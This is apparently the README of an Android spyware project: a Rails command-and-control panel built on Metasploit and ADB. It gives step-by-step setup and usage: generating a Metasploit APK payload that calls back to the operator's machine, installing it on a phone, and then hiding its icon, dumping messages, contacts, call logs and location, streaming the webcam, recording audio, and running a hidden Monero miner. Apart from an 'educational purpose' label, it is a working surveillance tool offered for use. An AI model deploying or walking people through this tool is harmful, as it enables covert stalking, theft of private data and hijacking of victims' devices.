Android Spyware: Rails Web App for Spying Android Devices

Educational purpose, command & control, web GUI based Android spyware built around Metasploit & ADB.

The tool:

• Uses Docker containers to simulate a Kali Linux environment with the metasploit framework
• Uses RPC calls to communicate with the Metasploit framework API
• Uses ADB to install the payload on the target device & implement additional functionalities (the device must be in the same LAN)

We strongly recommend you to have coding and Docker knowledge. Do not hesitate to read the source code and understand the mechanism of the tool.

Built With

• Bootstrap
• JQuery
• Rails
• Metasploit
• ActiveAdmin
• Docker
• Android Debug Bridge

Features

Available actions using Metasploit framework

•  Dump System Info
•  Dump Location
•  Live Webcam Stream
•  Dump Messages
•  Change Audio Mode
•  Dump Call Logs
•  Dump Local Time
•  Microphone Recording – Only working for Android < 9.0
•  Unistall App
•  List Installed Apps
•  Send Message
•  Dump Contacts
•  Lock/Unlock Screen
•  Run Shell Command
•  Webcam Snap
•  Open App
•  Install App
•  Device Info
•  Hide/Show payload app icon

Additional actions via ADB

•  Dump Whatsapp conversations from backup DB (disabled for safety reasons)
•  Dump Wi-Fi Information
•  Screen Snap
•  Upload File
•  Record Screen
•  Pull File
•  Start Monero crypto miner in background

Getting Started

Prerequisites

• Docker
• Chocolatey

Installation

• Install ADB via Chocolatey. From an elevated powershell prompt (Run as administrator):

choco install adb --version=1.0.39

• Create a project directory, and download docker-compose file. You can use curl:

curl https://raw.githubusercontent.com/CanciuCostin/android-spyware/master/docker/docker-compose.yml -o docker-compose.yml

• Download required images:

docker-compose pull

Deployment

1. Start ADB server from a command prompt:

adb server

2. Optional, set your Google MAPS API Key in docker-compose file for dashboard widget
3. Start the container (inside the project directory):

docker-compose up

4. Wait for the containers to initialize, and access the application in the browser via http://localhost/admin The files directory will be created. It will contain the payloads and the actions outputs.

Usage

1. Ensure USB Debugging is enabled on your Android device
2. Optional: Plug-in your Android device to the laptop via USB – Otherwise you won’t be able to use ADB functions and you will have to install the malware manually
3. Open the rails app in the browser: http://localhost/admin and login. Default credentials:

User: admin@example.com

Password: password

4. Generate APK

• Check your machine IP address on LAN. For windows you can use

ipconfig

• Go to Payloads (http://localhost/admin/apk_payloads) and Create New
• Select port 4444, input the machine IP address and give a name for the APK
• The APK payload will be generated in [project path]/files/payloads

5. Install APK

• Go to APK Installations (http://localhost/admin/apk_installations) and Create New
• Select your previously generated apk from the list and leave the target as usb
• You might have to approve a prompt on the device

6. Run Actions

• Go to Remote (http://localhost/admin/remote)
• Open the installed app on your device. You should see green light for your MSF connectivity right after. The ADB should also turn green if your device is plugged via USB
• Run actions by clicking on the app-looking icons on the device widget. The output will be displayed in the terminal widget, and the output will be stored in [project path]/files/dumps

Debugging Issues

MSF/ADB connection issues (green light not appearing in Remote page)

• Ensure you generated the apk with correct machine IP
• Ensure connection from smartphone to your machine is not blocked by local firewall. Otherwise you should allow connection on ports 2222, 3333, 4444. To check that, you can try to access http://[your machine IP]:2222 . You should be able to access the MSF container file system via http server
• Ensure Docker container – HOST connectivity is working. Host machine is accessed via gateway.docker.internal, which is set in docker-compose file. If that doesn’t work for you, you can also try to replace it with docker.host.internal
• For ADB connection, you can try to restart the local server:

adb kill-server
adb server

• For ADB connection, ensure USB debugging is enabled

Build

Software requirements

• Docker
• NodeJS & npm
• Ruby 2.6.6

Rails Server build steps:

git clone https://github.com/CanciuCostin/android-spyware.git
cd android-spyware
gem install bundler:2.1.4
bundle
npm install yarn -g
yarn install --check-files

Ensure the following environment variables are set:

ANDROIDSPYWARE_DATABASE_HOST=localhost
ADB_HOST=localhost
RAILS_HOST=127.0.0.1

Run the server:

rails server

• Note: local postgresql database can also be used as alternative, but you will need to run the rake scripts for initialization:

rake db:create //alternatively run createdb android_spyware_[developmen|test|production]
rake db:schema:load
rake db:seed /too add mock data required for start-up